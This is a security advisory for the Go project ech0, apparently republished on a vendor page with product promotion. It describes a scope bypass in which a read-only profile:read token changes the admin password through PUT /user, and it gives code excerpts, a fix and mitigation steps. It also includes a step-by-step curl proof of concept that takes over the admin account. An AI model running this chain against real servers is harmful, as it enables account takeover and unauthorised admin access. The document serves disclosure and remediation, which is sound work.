GHSA-hm2h-wwwh-g49x
MEDIUMEch0 Scope Bypass: profile:read Access Token Can Change Admin Password and Escalate to Unrestricted Session
Blast Radius
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Description
Summary
The PUT /user endpoint is protected by RequireScopes("profile:read"), which is a read-only scope. However, the endpoint performs write operations including password changes. An attacker who obtains an admin's restricted profile:read access token can change the admin's password, then login to receive an unrestricted session token that bypasses all scope enforcement.
Details
The scope enforcement system defines granular scopes (e.g., echo:read, echo:write, admin:user) but has no profile:write scope. The PUT /user route is protected only by profile:read:
// internal/router/user.go:40-44
appRouterGroup.AuthRouterGroup.PUT(
"/user",
middleware.RequireScopes(authModel.ScopeProfileRead),
h.UserHandler.UpdateUser(),
)
The RequireScopes middleware bypasses all scope checks for session tokens, and for access tokens only verifies the token contains the listed scopes:
// internal/middleware/scope.go:14-19
func RequireScopes(scopes ...string) gin.HandlerFunc {
return func(ctx *gin.Context) {
v := viewer.MustFromContext(ctx.Request.Context())
if v.TokenType() == authModel.TokenTypeSession {
ctx.Next()
return
}
// ... checks access token has required scopes (line 53)
The UpdateUser service checks user.IsAdmin but does not verify the token's scope is sufficient for write operations:
// internal/service/user/user.go:271-300
func (userService *UserService) UpdateUser(ctx context.Context, userdto model.UserInfoDto) error {
userid := viewer.MustFromContext(ctx).UserID()
user, err := userService.userRepository.GetUserByID(ctx, userid)
// ...
if !user.IsAdmin {
return errors.New(commonModel.NO_PERMISSION_DENIED)
}
// ...
if userdto.Password != "" && cryptoUtil.MD5Encrypt(userdto.Password) != user.Password {
user.Password = cryptoUtil.MD5Encrypt(userdto.Password) // line 299
}
After the password is changed, the attacker logs in via POST /login which calls issueUserToken → CreateClaims, producing a session token with Type: "session" (jwt.go:33). Session tokens bypass RequireScopes entirely, granting unrestricted API access.
Escalation chain: profile:read access token → password change → login → unrestricted session token (bypasses all scope checks) → full admin access including admin:settings, admin:user, admin:token, file:write, etc.
PoC
# Prerequisites: Admin has created a profile:read access token for a read-only integration
# The attacker has obtained this token (e.g., from compromised integration, log leak, etc.)
ACCESS_TOKEN="<admin_profile_read_access_token>"
SERVER="http://localhost:8080"
# Step 1: Verify the token only has profile:read scope (can read profile)
curl -s -X GET "$SERVER/api/user" \
-H "Authorization: Bearer $ACCESS_TOKEN"
# Expected: 200 OK with user profile data
# Step 2: Verify the token CANNOT access admin endpoints (scope enforcement works)
curl -s -X GET "$SERVER/api/allusers" \
-H "Authorization: Bearer $ACCESS_TOKEN"
# Expected: 403 Forbidden (requires admin:user scope)
# Step 3: Change the admin's password using the profile:read token
curl -s -X PUT "$SERVER/api/user" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{"password":"attackerpass123"}'
# Expected: 200 OK — password changed despite only having profile:read scope
# Step 4: Login with the new password to get an unrestricted session token
curl -s -X POST "$SERVER/api/login" \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"attackerpass123"}'
# Expected: 200 OK with session JWT token
# Step 5: Use the session token to access admin-only endpoints
SESSION_TOKEN="<session_token_from_step_4>"
curl -s -X GET "$SERVER/api/allusers" \
-H "Authorization: Bearer $SESSION_TOKEN"
# Expected: 200 OK — full admin access, all scope restrictions bypassed
Impact
An attacker who obtains an admin's profile:read access token — intended to be the most restrictive scope available — can:
- Change the admin's password without any write-level scope, violating the principle of least privilege
- Escalate to a full unrestricted session token by logging in with the new credentials
- Gain complete admin access including user management (
admin:user), system settings (admin:settings), token management (admin:token), file operations (file:write), and all content operations - Lock the original admin out of password-based authentication (though OAuth/passkey login remains available)
This defeats the entire purpose of the scope system: tokens intended for read-only integrations can be leveraged for full account takeover.
Recommended Fix
Add a profile:write scope and require it for the PUT /user endpoint:
// internal/model/auth/scope.go — add new scope
const (
// ... existing scopes ...
ScopeProfileRead = "profile:read"
ScopeProfileWrite = "profile:write" // NEW
)
var validScopes = map[string]struct{}{
// ... existing entries ...
ScopeProfileWrite: {}, // NEW
}
// internal/router/user.go:40-44 — require profile:write for PUT
appRouterGroup.AuthRouterGroup.PUT(
"/user",
middleware.RequireScopes(authModel.ScopeProfileWrite), // Changed from ScopeProfileRead
h.UserHandler.UpdateUser(),
)
Similarly, update other write operations currently gated behind profile:read:
POST /oauth/:provider/bind→ requireprofile:writePOST /passkey/register/beginand/finish→ requireprofile:writeDELETE /passkeys/:id→ requireprofile:writePUT /passkeys/:id→ requireprofile:write
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/lin-snow/ech0 | all versions | 4.4.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lin-snow/ech0. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/lin-snow/ech0 to 4.4.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-hm2h-wwwh-g49x is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-hm2h-wwwh-g49x is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-hm2h-wwwh-g49x. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-hm2h-wwwh-g49x in your dependencies?
O3 detects GHSA-hm2h-wwwh-g49x across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.